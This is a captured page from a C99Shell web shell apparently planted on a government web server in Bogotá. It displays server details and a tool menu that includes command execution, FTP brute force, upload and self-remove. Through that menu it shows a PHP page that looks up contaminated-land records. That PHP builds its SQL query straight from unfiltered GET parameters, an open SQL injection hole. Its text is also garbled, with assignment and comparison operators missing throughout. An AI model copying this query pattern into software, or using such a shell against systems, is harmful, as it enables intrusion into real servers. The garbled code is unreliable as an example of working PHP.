!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\nuevo\htdocs\SRHS\suelos\   drwxrwxrwx
Free 10.11 GB of 239.26 GB (4.22%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     consulta_suelos.php (2.94 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 

include ("conex.php");




/*echo $_GET['chip'];
echo $_GET['matricula'];*/



if($_GET['chip'] != ""){
$sqlchip" and chip  = '$_GET[chip]'";
}
if(
$_GET['matricula'] != ""){
$sqlmatricula" and matricula = '$_GET[matricula]'";
}

$order " order by no desc";    

$sqlt "SELECT `CHIP`,`MATRICULA`,`LOTCODIGO`,`DIRECCION`,`LOCALIDAD`,`AREA` FROM `suelos` where 1=1 "

$sqldef=$sqlt.$sqlchip.$sqlmatricula.$order;
//echo "$sqldef";
//echo "á..";




$sql=mysql_query($sqldef,$con);

$num_rows mysql_num_rows($sql);
//muestra los datos consultados
if ($num_rows 0){
echo 
"<table>
    <caption>
    <h5>Registros encontrados: 
$num_rows </h5></caption>
    <thead>
    <tr class='odd'>

        <th scope='col' abbr='Home'><h5><span></span>CHIP</h5></th>
        <th scope='col' abbr='Home'><h5><span></span>MATRÍCULA</h5></th>
        <th scope='col' abbr='Home'><h5><span></span>LOTCODIGO</h5></th>
        <th scope='col' abbr='Home'><h5><span></span>DIRECCIÓN</h5></th>
        <th scope='col' abbr='Home'><h5><span></span>LOCALIDAD</h5></th>
        <th scope='col' abbr='Home'><h5><span></span>ÁREA</h5></th>
        

    </tr>    
    </thead>
    <tfoot>"
;
while(
$row mysql_fetch_array($sql)){

$cont=$cont+1;

if (
$cont == 0)
$class"class='odd'";

if (
$cont == 1)
$class"";


echo 
"
<tr 
$class>
        <th>
$row[CHIP]</th>
        <td>
$row[MATRICULA]</td>
        <td>
$row[LOTCODIGO]</td>
        <td>
$row[DIRECCION]</td>
        <td>
$row[LOCALIDAD]</td>
        <td>
$row[AREA]</td>
        
        "
;
        
}
echo 
"<div class='body body_bg'>
    <h2><span>Nota</span> informativa</h2>
    <p align='justify'>El predio consultado se encuentra en el listado de predios potencialmente contaminados, sitios contaminados y pasivos ambientales, La consulta del estado ambiental del predio, deberá dirigirse a la Subdirección del Recurso Hídrico y del Suelo, en los medios dispuestos para ello, atencion al ciudadano en los canales dispuestos por la entidad: <a tarjet='_blank' href='https://www.ambientebogota.gov.co/web/transparencia/canales-de-atencion-y-pida-una-cita' >https://www.ambientebogota.gov.co/web/transparencia/canales-de-atencion-y-pida-una-cita</a> </p>
    </div>"
;
}
else {
    echo 
"<div class='body body_bg'>
    <h2><span>Nota</span> informativa</h2>
    <p align='justify'>El predio consultado NO se encuentra en el listado de predios potencialmente contaminados, sitios contaminados y pasivos ambientales, No obstante en caso de requerir una perfilación de sitios con potencial afectación en el suelo, debera dirigirse una solicitud a la Subdirección del Recurso Hídrico y del Suelo de acuerdo al procedimiento establecido en el siguiente documento <a class='' href='https://www.ambientebogota.gov.co/documents/10184/1039440/TDR_PERFILACION_SITIOS_CON_POTENCIAL_AFECTACIÓN_SUELO.pdf/4333c171-cc7f-4de5-bf4d-6001650e5937?version=1.0' > (TERMINOS DE REFERENCIA PARA LA PERFILACIÓN DE SITIOS CON POTENCIAL AFECTACIÓN EN EL SUELO)</a></p>
    </div>"
;
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--